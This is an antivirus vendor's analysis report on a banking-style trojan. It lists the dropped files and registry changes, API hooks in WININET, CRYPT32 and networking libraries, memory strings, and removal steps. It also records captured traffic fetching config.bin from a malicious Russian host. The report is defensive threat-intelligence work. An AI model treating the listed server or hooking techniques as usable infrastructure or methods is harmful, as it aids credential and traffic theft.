Trojan.GenericKD.1844283_e780a465c5 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

fuxew.exe:1240
fuxew.exe:1644
%original file name%.exe:892
%original file name%.exe:1488

The Trojan injects its code into the following process(es):

Explorer.EXE:888

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process fuxew.exe:1240 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsu5.tmp (8116 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp6.tmp\ASwAPwMVzVNxsxKLs.dll (5064 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp6.tmp\wKayBhYKhcPrW (5064 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nse4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp6.tmp\ASwAPwMVzVNxsxKLs.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp6.tmp (0 bytes)

The process %original file name%.exe:892 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsk2.tmp (8116 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsk3.tmp\wKayBhYKhcPrW (5064 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsk3.tmp\ASwAPwMVzVNxsxKLs.dll (5064 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsk3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsk3.tmp\ASwAPwMVzVNxsxKLs.dll (0 bytes)

The process %original file name%.exe:1488 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Nutus\fuxew.exe (237 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmp84bcbac4.bat (177 bytes)

Registry activity

The process fuxew.exe:1240 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A8 29 29 A0 C2 80 0D D9 92 D8 07 D6 8C E2 F5 C6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsk3.tmp\wKayBhYKhcPrW, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsk3.tmp\, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp6.tmp\wKayBhYKhcPrW,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process fuxew.exe:1644 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D1 C5 13 6E CA D9 94 28 5C 61 13 1E 49 6D 24 64"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process %original file name%.exe:892 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F0 7E 6F 66 91 7C 1A 80 35 01 63 21 9F 4F 3B 3F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsk3.tmp\wKayBhYKhcPrW,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process %original file name%.exe:1488 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F9 8A 74 13 C1 57 54 18 28 39 37 DF 30 53 3D 80"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

Dropped PE files

MD5	File path
b4830dc9f9c334969908a474996f7998	c:\Documents and Settings\"%CurrentUserName%"\Application Data\Nutus\fuxew.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetQueryDataAvailable
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle

The Trojan installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan installs the following user-mode hooks in WS2_32.dll:

WSASend
send
closesocket

The Trojan installs the following user-mode hooks in kernel32.dll:

GetFileAttributesExW

The Trojan installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):
fuxew.exe:1240
fuxew.exe:1644
%original file name%.exe:892
%original file name%.exe:1488
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\nsu5.tmp (8116 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp6.tmp\ASwAPwMVzVNxsxKLs.dll (5064 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp6.tmp\wKayBhYKhcPrW (5064 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsk2.tmp (8116 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsk3.tmp\wKayBhYKhcPrW (5064 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsk3.tmp\ASwAPwMVzVNxsxKLs.dll (5064 bytes)
%Documents and Settings%\%current user%\Application Data\Nutus\fuxew.exe (237 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmp84bcbac4.bat (177 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: Rococos
Product Name: Appliances
Product Version: 0.4.2.4
Legal Copyright: Copyright (C) Rococos 1995-2010
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 0.4.2.4
File Description: A buttocked broadsheets in the hulme
Comments:
Language: English (United States)

Company Name: RococosProduct Name: AppliancesProduct Version: 0.4.2.4Legal Copyright: Copyright (C) Rococos 1995-2010Legal Trademarks: Original Filename: Internal Name: File Version: 0.4.2.4File Description: A buttocked broadsheets in the hulmeComments: Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	25046	25088	4.51043	a436e6a5ee718deeb0af89624d941715
.rdata	32768	5216	5632	3.42794	9b909cc04ca8fa423df16432e48f502c
.data	40960	176056	1536	2.69571	f6e758c86da20cc0ec6efc2daea8d45a
.ndata	217088	65536	0	0	d41d8cd98f00b204e9800998ecf8427e
.rsrc	282624	10504	10752	2.85919	b3e9c75baab493e9abe67e078268f270

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://m0l.ru/shap7/30/config.bin	178.74.216.27
hxxp://www.google.com/webhp
hxxp://www.google.com/webhp?gfe_rd=cr&ei=UPwaVOPLF8vm9AaVp4H4Aw
hxxp://www.google.com.ua/webhp?gfe_rd=cr&ei=UPwaVOPLF8vm9AaVp4H4Aw

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /webhp?gfe_rd=cr&ei=UPwaVOPLF8vm9AaVp4H4Aw HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Cache-Control: no-cache

Host: VVV.google.com.ua

HTTP/1.1 200 OK

Date: Thu, 18 Sep 2014 15:37:52 GMT

Expires: -1

Cache-Control: private, max-age=0

Content-Type: text/html; charset=UTF-8

Set-Cookie: PREF=ID=8965baeb1fc85867:FF=0:TM=1411054672:LM=1411054672:S=dOiDkMHuMN1lxUm0; expires=Sat, 17-Sep-2016 15:37:52 GMT; path=/; domain=.google.com.ua

Set-Cookie: NID=67=pdMjq2_zqsoB-NaFehPUnixsW0rCeqd4GtX9XiIheRXN2DtrbqzpKpXH_fj_0_FXeDqP8uPvrckaiq73wQCS1PMxFLkOZrnvy_U2CVwyfN-sY52Iw9zx-RNkMOZXn8mq; expires=Fri, 20-Mar-2015 15:37:52 GMT; path=/; domain=.google.com.ua; HttpOnly

P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."

Server: gws

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.002

Connection: close

<!doctype html><html itemscope="" itemtype="hXXp://schema.org/WebPage" lang="uk"><head><meta content="text/html; charset=UTF-8" http-equiv="content-type"><meta content="/images/google_favicon_128.png" itemprop="image"><title>Google</title><script>(function(){window.google={kEI:'UPwaVIaPNbeCsQSnj4HQCw',kEXPI:'17259,4000116,4007661,4008142,4009033,4010858,4010899,4011228,4011679,4012373,4013823,4014431,4014636,4014805,4016127,4016373,4016824,4017818,4017981,4018180,4018251,4018411,4019029,4019498,4019702,4019798,4019800,4020025,4020029,4020148,4020226,4020379,4020381,4020383,4020385,4020500,4020561,4020663,4020705,4020738,4020805,4020824,4020879,4020892,4020950,4021015,4021071,4021081,4021083,4021092,4021106,4021110,4021125,4021338,4021545,4021564,4021580,4021604,4021633,4021641,4021660,4021664,4021675,4021763,4021765,4021886,4021909,4021959,4022087,4022269,8300007,8300030,8300060,8300072,8300078,8500223,8500272,8500393,8500474,8500554,8500556,8500585,8500593,8500605,10200013,10200044,10200083,10200297,10200347,10200389,10200442,10200491,10200585,10200597,10200599,10200602,10200616,10200671,10200673,10200684',kCSI:{e:'17259,4000116,4007661,4008142,4009033,4010858,4010899,4011228,4011679,4012373,4013823,4014431,4014636,4014805,4016127,4016373,4016824,4017818,4017981,4018180,4018251,4018411,4019029,4019498,4019702,4019798,4019800,4020025,4020029,4020148,4020226,4020379,4020381,4020383,4020385,4020500,4020561,4020663,4020705,4020738,4020805,4020824,4020879,4020892,4020

<<< skipped >>>

GET /webhp HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.google.com

Cache-Control: no-cache

HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Location: hXXp://VVV.google.com.ua/webhp?gfe_rd=cr&ei=UPwaVOPLF8vm9AaVp4H4Aw

Content-Length: 267

Date: Thu, 18 Sep 2014 15:37:52 GMT

Server: GFE/2.0

Alternate-Protocol: 80:quic,p=0.002

Connection: close

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HEAD><BODY>.<H1>302 Moved</H1>.The document has moved.<A HREF="hXXp://VVV.google.com.ua/webhp?gfe_rd=cr&ei=UPwaVOPLF8vm9AaVp4H4Aw">here</A>...</BODY></HTML>....

GET /shap7/30/config.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: m0l.ru

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 18 Sep 2014 15:11:34 GMT

Content-Type: application/octet-stream

Content-Length: 34406

Connection: close

Last-Modified: Sun, 17 Aug 2014 21:06:51 GMT

ETag: "63a46-8666-500d9a2215918"

Accept-Ranges: bytes

..d.r;.:.(..#;.bs......_T..W.....n..?.......L...x._.=.5.L\Q......K...........!k...n.$......?...<).l...H..&..o..jP&..\.j.W~g.pWV.i.^..v}...V.P...K^8O...z...e....r.}C..^J.?_........9....|9.....|...U8...'HU....~,.S..i5..l*W.(K..(&.....(.$..,.C.wT......_....V...?..>..M......g..5.~|..^Kd..)..........v.l..C..%1.6=-.-....9fY j .y..........h..?Q.m....8I{.>...c.a9...I....[.Q,.8.78...7......\..x{Q... ..$.._f^0L*.<.../.]FL..X...\i..F,."..h......r.].&.....*..m6.$.N..vjU[...D.3.W8..d..2..e....e..Z^2N.P.....n9H.9..S.*.O...l.1./Y8w..z..O..E{Y....1.1(Z.S-......q...M..:<.D.d.5%%..8...\@:....e...`..........1.c..U..5.57t...M.....P....P.a.v\`...z...fN3.Rti..$.......Q.VGjcc.-k....vx...X.q%........Iu..8. .Y.. \...D....:..Q....<....@.oWv.Ry.........D.K.B......o.s..dpI...|.>.B'r....}h.E...Z.z%...J..UC......Jg....R_........0...".. ...Fv...>.........3.n...Y_.y....d.6.(i..e.x6......2.g]....s..4...X..4..d..l.d*..v..t.....#i'&l....[.9..S"...2@........q.{.4....E9Y...1.)...$..s............?..._.....{.y....w.......@E....O/e....=..........HA..s.m....1.C.$..G]... |.....3...0!.N.]D.....mr........;..'.....IV>...d..|..q?Z.Q...N$....M.P.....,...oL6-Y8.^..B``H.bBjc.....W~....!.LP...K..jo.")l$........D..h4.W..X..n.y..tU... .b..w.....j4.).l.>2.a...w.........gi.l..M.....<JV.x.O(...e............k.......T)..r$..=.....o6.;&..tu...]e......h.n.....N..g;.g...sA..F....@.........Xq....7(..jR.}N.....e.....O...s|Re...W!..Kp......"..l..%k...U.F..!...~.qvhb.S...K.....l.>s......,.XR!4C.w..ZM.....[`.V........9L..e\.V..{H....ly.E..

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

Explorer.EXE_888_rwx_01EA0000_00027000:

.text

`.data

.reloc

hXXp://VVV.google.com/webhp

PR_OpenTCPSocket

gdiplus.dll

GdiplusShutdown

ole32.dll

gdi32.dll

: ;2*8.>

3.#70!2)

x#m`a`cmddt-

6 !26!1'1

7"52),,>

;

71.(5;4=

(203,2$0

/?./,5

:>(

8%/

%/>!

HTTP/1.1

userenv.dll

del "%s"

if exist "%s" goto d

del /F "%s"

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

cabinet.dll

hXXp://

hXXps://

HTTP/1.

SSSh,4

GetProcessHeap

KERNEL32.dll

SetKeyboardState

ExitWindowsEx

MsgWaitForMultipleObjects

MapVirtualKeyW

GetKeyboardState

OpenWindowStationW

GetProcessWindowStation

CreateWindowStationW

CloseWindowStation

SetProcessWindowStation

USER32.dll

RegOpenKeyExW

RegEnumKeyExW

RegCloseKey

RegCreateKeyExW

ADVAPI32.dll

PathIsURLW

UrlUnescapeA

SHDeleteKeyW

SHLWAPI.dll

ShellExecuteW

SHELL32.dll

Secur32.dll

SetViewportOrgEx

GDI32.dll

WS2_32.dll

PFXImportCertStore

CertDeleteCertificateFromStore

CertOpenSystemStoreW

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

HttpSendRequestExA

HttpQueryInfoA

HttpSendRequestExW

HttpSendRequestW

HttpSendRequestA

InternetCrackUrlA

HttpOpenRequestA

HttpAddRequestHeadersA

GetUrlCacheEntryInfoW

HttpAddRequestHeadersW

WININET.dll

OLEAUT32.dll

NETAPI32.dll

6 6&6/656{6

cGlobal\XXX

nspr4.dll

nss3.dll

SysShadow

kernel32.dll

"%s" %s

/c "%s"

%sx.%s

%sx

%Documents and Settings%\%current user%\Application Data\Azfui\qigio.yfn

%Documents and Settings%\%current user%\Application Data\Azfui

qigio.yfn

Global\{5C65E33F-E1AD-6F1C-67B4-EF124BDB6FBE}

%Documents and Settings%\%current user%\Application Data

{CA1E511A-5388-F967-67B4-EF124BDB6FBE}

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps